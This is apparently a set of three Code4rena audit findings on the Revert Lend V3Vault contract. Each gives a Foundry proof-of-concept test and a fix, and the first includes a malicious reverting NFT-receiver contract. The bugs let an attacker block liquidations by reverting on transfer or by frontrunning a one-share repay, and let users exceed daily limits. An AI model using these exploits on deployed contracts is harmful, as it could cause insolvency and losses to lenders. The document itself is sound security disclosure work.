Revert Lend - JohnSmith's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083

Vulnerability details

Impact

When we transfer nft function onERC721Received is called on a new owner if it is a smart contract. Malicious smart contract can revert transaction when onERC721Received is called. Which makes impossible to do liquidations.

Proof of Concept

Check out test I provided below, where we transfer an NFT to malicious smart contract, which will be the NFT owner and borrower. We transfer NFT and set flag to prevent any other NFT being transfered. We interact with V3Vault via malicious smart contract., providing collateral and borrowing some assets. After some time loan become unhealthy and subject to liquidation. We try to liquidate, but transaction gets reverted.

Add this test beside your other tests in test/integration/V3Vault.t.sol

    function testRevertOnReceived() external {
        address revertOnReceived = address(new RevertOnReceived());
        _deposit(10000000, WHALE_ACCOUNT);

        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.safeTransferFrom(TEST_NFT_ACCOUNT, revertOnReceived, TEST_NFT);
        RevertOnReceived(revertOnReceived).borrow(NPM, vault, TEST_NFT);
        RevertOnReceived(revertOnReceived).setFlag(true);

        skip(25 days);
        
        (uint256 debtShares) = vault.loans(TEST_NFT);
        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), 10000000);
        vm.expectRevert();
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }

And this contract

contract RevertOnReceived is IERC721Receiver{
    bool private revertOnReceive;
    function setFlag(bool flag) external {
        revertOnReceive = flag;
    }
    function borrow( INonfungiblePositionManager npm, V3Vault vault, uint256 tokenId) external {
        npm.approve(address(vault), tokenId);
        vault.create(tokenId, address(this));
        (,, uint256 collateralValue,,) = vault.loanInfo(tokenId);
        vault.borrow(tokenId, collateralValue);
    }
    function onERC721Received(address, address , uint256 , bytes calldata ) external override returns (bytes4) {
        if (revertOnReceive) {
           revert();
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

I suggest to not transfer NFT to user, make a method to withdraw it by user when they need it.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1250-L1251 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1262-L1263

Vulnerability details

Impact

Protocol design includes limitiations on how much a user can deposit and borrow per day. So it is 10% of lent money or dailyLendIncreaseLimitMin, dailyDebtIncreaseLimitMin, whichever is greater. Current implementation is wrong and makes it 110% because of mistake in calculations. Which means that users are able to deposit/borrow close to 110% amount of current assets. Issue is in this calculations:

    uint256 lendIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up)
                * (Q32 + MAX_DAILY_LEND_INCREASE_X32) / Q32;

            uint256 debtIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up)
                * (Q32 + MAX_DAILY_DEBT_INCREASE_X32) / Q32;

Proof of Concept

For borrow I used function _setupBasicLoan() already implemented by you in your tests. Add this tests beside your other tests in test/integration/V3Vault.t.sol

     function testDepositV2() external {
        vault.setLimits(0, 150000_000000, 0, 10_000000, 0);//10 usdc dailyLendIncreaseLimitMin
        uint256 balance = USDC.balanceOf(WHALE_ACCOUNT);

        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);
        vault.deposit(10_000000 , WHALE_ACCOUNT);
        skip(1 days);
        for (uint i; i < 10; ++i) {
            uint256 assets = vault.totalAssets();
            console.log("USDC vault balance: %s", assets);
            uint amount = assets + assets * 9 / 100;// 109% 
            vault.deposit(amount, WHALE_ACCOUNT);
            skip(1 days);
        }
        uint256 assets = vault.totalAssets();
        assertEq(assets, 15902_406811);//so in 10 days we deposited 15k usdc, despite the 10 usdc daily limitation
        console.log("USDC balance: %s", assets); 
    }
    
    function testBorrowV2() external {
        vault.setLimits(0, 150_000000, 150_000000, 150_000000, 1_000000);// 1 usdc dailyDebtIncreaseLimitMin
        skip(1 days); //so we can recalculate debtIncreaseLimit again
        _setupBasicLoan(true);//borrow  8_847206 which is > 1_000000 and > 10% of USDC10_000000 in vault
    }

Tools Used

Manual review

Recommended Mitigation Steps

Fix is simple for _resetDailyLendIncreaseLimit()

    uint256 lendIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up)
-                * (Q32 + MAX_DAILY_LEND_INCREASE_X32) / Q32;
+                * MAX_DAILY_LEND_INCREASE_X32 / Q32;

and for _resetDailyDebtIncreaseLimit()

            uint256 debtIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up)
-                * (Q32 + MAX_DAILY_DEBT_INCREASE_X32) / Q32;
+                * MAX_DAILY_DEBT_INCREASE_X32 / Q32;

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L990-L991

Vulnerability details

Impact

When users see liquidation transaction in mempool, they may frontrun it and repay just one share to make liquidation transaction fail. Since anyone can repay anyone's loans, malicious user can just grief liquidators or after some time make insolvent loans.

Proof of Concept

Idea is simple

• Liquidator sends transaction liquidate()
• Anyone can frontrun and repay just 1 debt share of a loan and change loans[params.tokenId].debtShares :

    function _repay(uint256 tokenId, uint256 amount, bool isShare, bytes memory permitData) internal {
        (...)
        uint256 loanDebtShares = loan.debtShares - shares;
        loan.debtShares = loanDebtShares;

• Liquidator's transaction gets reverted because of the condition:

    function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) {
        (...)
        if (debtShares != params.debtShares) {
            revert DebtChanged();
        }

Malicious users can prevent any loans being liquidated, which can lead to insolvent loans.

Add this test beside your other tests in test/integration/V3Vault.t.sol

    function testPreventLiquidation() external {
        _setupBasicLoan(true);
        skip(25 days);//skip some time so loan becomes unhealthy

        (uint256 debtShares) = vault.loans(TEST_NFT);//liquidator gets debtShares needed to liquidate the loan
        //They send their vault.liquidate transaction()
        //Suddenly, a malicious user frontruns and repays just one share
        vm.startPrank(TEST_NFT_ACCOUNT_2);
        USDC.approve(address(vault), type(uint256).max);
        vault.repay(TEST_NFT, 1, true);//repay 1 debt share

        //Then Liquidator's transaction processed, which reverts
        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Remove uint256 debtShares; from LiquidateParams. Remove if (debtShares != params.debtShares) condition function liquidate(...). If loan is unhealthy it should be liquidated, changed debtShares do not matter.

Assessed type

MEV